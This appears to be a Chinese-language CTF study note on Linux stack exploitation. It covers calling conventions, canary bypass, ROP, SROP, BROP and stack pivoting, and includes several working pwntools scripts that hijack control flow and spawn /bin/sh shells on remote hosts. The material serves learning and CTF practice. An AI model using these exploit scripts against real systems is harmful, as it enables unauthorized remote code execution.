環境
操作系統:Ubuntu 16.04 64bit
跑32位程序
sudo apt-get install libc6:i386
sudo apt-get install gcc-multilib
Tools
:IDA Pro 7.0
,gdb-peda
,pwntools
base stack overflow
基於函數調用的規則,覆蓋ret
地址爲目標地址劫持控制流
函數調用約定
__stdcall
,__cdecl
,__fastcall
,__thiscall
,__nakedcall
,__pascal
.
__cdecl
,__stdcall
,__fastcall
是C/C++裏中經常見到的三種函數調用方式.
__cdecl
1. 參數是從右向左傳遞的,也是放在堆棧中
2. 堆棧平衡是由調用函數來執行的
3. 函數的前面會加一個前綴_
__stdcall
Win32API
函數絕大部分都是採用__stdcall
調用約定的,WINAPI
其實也只是__stdcall
的一個別名而已.
1. 參數是從右往左傳遞的,也是放在堆棧中.
2. 函數的堆棧平衡操作是由被調用函數執行的.
3. 在函數名的前面用_修飾,在函數名的後面由@來修飾並加上棧需要的字節數
__fastcall
1. __fastcall
函數調用約定表明了參數應該放在寄存器中,VC
編譯器採用調用約定傳遞參數時,最左邊的兩個不大於4個字節的參數分別放在ecx
和edx
寄存器.當寄存器用完的時候,其餘參數仍然從右到左的順序壓入堆棧.像浮點值,遠指針總是通過堆棧來傳遞的.
2. 函數的堆棧平衡操作是由被調用函數執行的.
3. 在函數名的前面用@修飾,在函數名的後面由@來修飾並加上棧需要的字節數
函數調用(call function
):
1. 執行call
指令前參數先壓棧(x86
),
2. x86_64
參數前六個保存在寄存器
3. 然後是返回地址入棧(call
完成)
4. push ebp,mov ebp,esp
(ebp
爲被調用者保存)
函數返回:
1. 清棧,一般通過leave
指令(等於mov esp, ebp; pop ebp
)
2. 通過ret(n)
返回調用函數,ret
相當於把返回地址pop eip
.
GOT
表和PLT
表參考:程序員的自我修養
貼一張虛擬地址空間分佈的圖
最基礎的exploit
一般長這樣:
from pwn import *
c=remote("123.59.138.180",20000)
#遠程連接
c.recvline()
#接受
sh_add=0x4005d7
#目的地址,這裏是shellcode
p="a"*264+p64(sh_add)*2
#前面填充偏移
c.sendline(p)
#發送
c.interactive()
#成功後開始交互爲所欲爲
canary
繞過
leak canary
,例如格式化字符串漏洞
劫持__stack_chk_fail
,ssp leak
exploit
:
from pwn import *
'''
for i in range(0x80, 0x180, 8):
p = process("./GUESS")
p.recvuntil("flag\n")
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
print hex(i), x
計算__stack_chk_fail參數偏移
'''
environ = 0x03C6F38
p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(0x602040))
#GOT表
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0x00000000000F7250
environ += libc
print hex(libc)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
#棧地址
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()
fork
爆破canary
,canary
的最低位是0x00
ROP
文件中的函數(字節)偏移距離是固定的.
libc = ELF("libc.so")
off_system = libc.symbols['write'] - libc.symbols['system']
system_addr = write_addr - off_system
Return-oriented Programming
(面向返回的編程)
return-to-libc
攻擊是ROP
的特例
掃描已有的動態鏈接庫和可執行文件,提取出可以利用的指令片段(gadget
),這些指令片段均以ret
指令結尾,即用ret
指令實現指令片段執行流的銜接來劫持控制流
exploit
:
from pwn import *
context.log_level = "debug"
e = ELF("./pwn50")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
system_plt = e.plt['system']
read_plt = e.plt['read']
pop_rsi_r15_ret = 0x400b01
pop_rdi_ret = 0x400b03
#gadget
payload = "3"+"A"*87
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(puts_got)+p64(0)+p64(read_plt)
payload += p64(pop_rdi_ret)+p64(puts_got)+p64(system_plt)
s = remote("47.104.16.75",9000)
...
s.sendline(payload)
s.sendline("/bin/sh")
s.interactive()
如果開了ASLR
就需要先leak
一個參考地址,通過相對地址求目標地址.
exploit
(32bit
&&ASLR
):
from pwn import *
context.log_level = "debug"
pop_ret = 0x0804841d
pop_pop_pop_ret = 0x08048819
e = ELF("./pwn2")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
system_off = libc.symbols['system']
puts_off = libc.symbols['puts']
payload = "a"*277+p32(puts_plt)+p32(pop_ret)+p32(puts_got)+p32(read_plt)+p32(pop_pop_pop_ret)+p32(0)+p32(puts_got)+p32(12)+p32(puts_plt)+p32(0x0804861A)+p32(puts_got+4)
#s = remote("123.59.138.180",20000)
s = process("./pwn2")
...
s.send(payload)
...
puts_addr = u32(s.recvuntil("\n")[0:4])
system_addr = puts_addr+system_off-puts_off
s.sendline(p32(system_addr)+"/bin/sh")
s.interactive()
Tools
:ROPgadget --binary pwn --only “pop|ret”
SROP
Sigreturn Oriented Programming
.sigreturn
是一個系統調用,在unix
系統發生signal
的時候會被間接地調用.
用戶態的signal handler
執行完成之後能夠順利返回內核態.在類UNIX
的各種不同的系統中,這個過程有些許的區別,但是大致過程是一樣的.
這裏以Linux
爲例:
內核幫用戶進程將其上下文保存在該進程的棧上,然後在棧頂填上一個地址rt_sigreturn
,這個地址指向一段代碼,在這段代碼中會調用sigreturn
系統調用.
當signal handler
執行完之後,棧指針就指向rt_sigreturn
,signal handler
函數的最後一條ret
指令會使得執行流跳轉到這段sigreturn
代碼,被動地進行sigreturn
系統調用.
我們可以通過控制棧僞造一個Signal Frame
,將rax
設置成59(即execve
系統調用號),將rdi
設置成字符串/bin/sh
的地址,將rip
設置成系統調用指令syscall
的內存地址,將rt_sigreturn
手動設置成sigreturn
系統調用的內存地址.
利用SROP
構造系統調用串(System call chains
):syscall; ret
gadget
.在這個過程中,每次syscall
返回之後,可以控制棧指針都會指向下一個Signal Frame
。
在系統中一般會有一段代碼專門用來調用sigreturn
:
其中在Linux < 3.11 ARM
(也就是大部分現在Android
所使用的內核),以及FreeBSB 9.2 x86_64
,都可以在固定的內存地址中找到這個gadget
,而在其它系統中,一般被保存在libc
庫的內存中,如果有ASLR
保護的話似乎沒有那麼容易找到.
gadget syscall; ret
:
如果是Linux < 3.3 x86_64
(在Debian 7.0
, Ubuntu Long Term Support
, CentOS 6
系統中默認內核),則可以直接在固定地址[vsyscall]
中找到這段代碼片段.
可以將rax
寄存器設置成15(sigreturn
的系統調用號),然後調用syscall
.
BROP
要求:棧溢出,服務器進程在crash
之後重新復活的進程不會被re-rand
攻破Stack Canaries
防護
stack reading
:
嘗試任意多次來判斷出overflow
的長度,然後一個一個字節順序地進行嘗試來還原出真實的canary
遠程dump內存
write(int sock, void *buf, int len)
puts(char *str)
特殊的gadget
類型:stop gadget
當程序的執行流跳到那段區域之後,程序並不會crash
,而是進入了無限循環,攻擊者能夠一直保持連接狀態.把這種類型的gadget
稱爲stop gadget
在嘗試的return address
之後填上stop gadgets
,那麼會造成進程crash
的gadget
還是會造成進程crash
,而那些useful gadget
則會進入block
狀態.還有一種特殊情況,即嘗試的gadget也是一個stop gadget
尋找BROP gadget
:
控制write
系統調用的前兩個參數;
通過signature
的方式尋找到PLT上的strcmp
項,然後通過控制字符串的長度來給%rdx
賦值(strcmp
函數會把字符串的長度賦值給%rdx
),控制write
系統調用的第三個參數
對於puts
,只需要控制一個參數
pwn
!
- 將
socket
重定向到標準輸入/輸出(standard input/output
).攻擊者可以使用dup2
或close
,跟上dup
或者fcntl
(F_DUPFD
).這些一般都能在PLT裏面找到. - 在內存中找到
/bin/sh
.其中一個有效的方法是從symboltable
裏面找到一個可寫區域比如environ
,然後通過socket
將/bin/sh
從攻擊者這裏讀過去. execve shell
.
stack pivot
利用條件
存在內容可控的內存,位置已知,擁有讀寫的權限
典型的位置:
bss
段末有較大的空間,因爲進程內存按頁分配,分配給bss
段的內存大小至少一個頁(4k,0x1000)大小
另一個是heap
空間,這個不用贅述了,但是需要注意泄露堆地址.控制
rsp
(esp
),需要相應的gadgets
,其中有一個最典型,在x64的libc_csu_init
通過做一個適當偏移能夠得到這樣一個gadgets
mov rdx,r13
mov rsi,r14
mov edi,r15d
call QWORD PTR [r12+rbx*8]
add rbx,0x1
cmp rbx,rbp
jne 405660 <__libc_csu_init+0x40>
add rsp,0x8
pop rbx
pop rbp offset: pop rsp
pop r12 pop r12
pop r13 pop r13
pop r14 pop r14
pop r15 pop r15
retn ret
例題
EkoPartyCTF 2016 fuckzing-exploit-200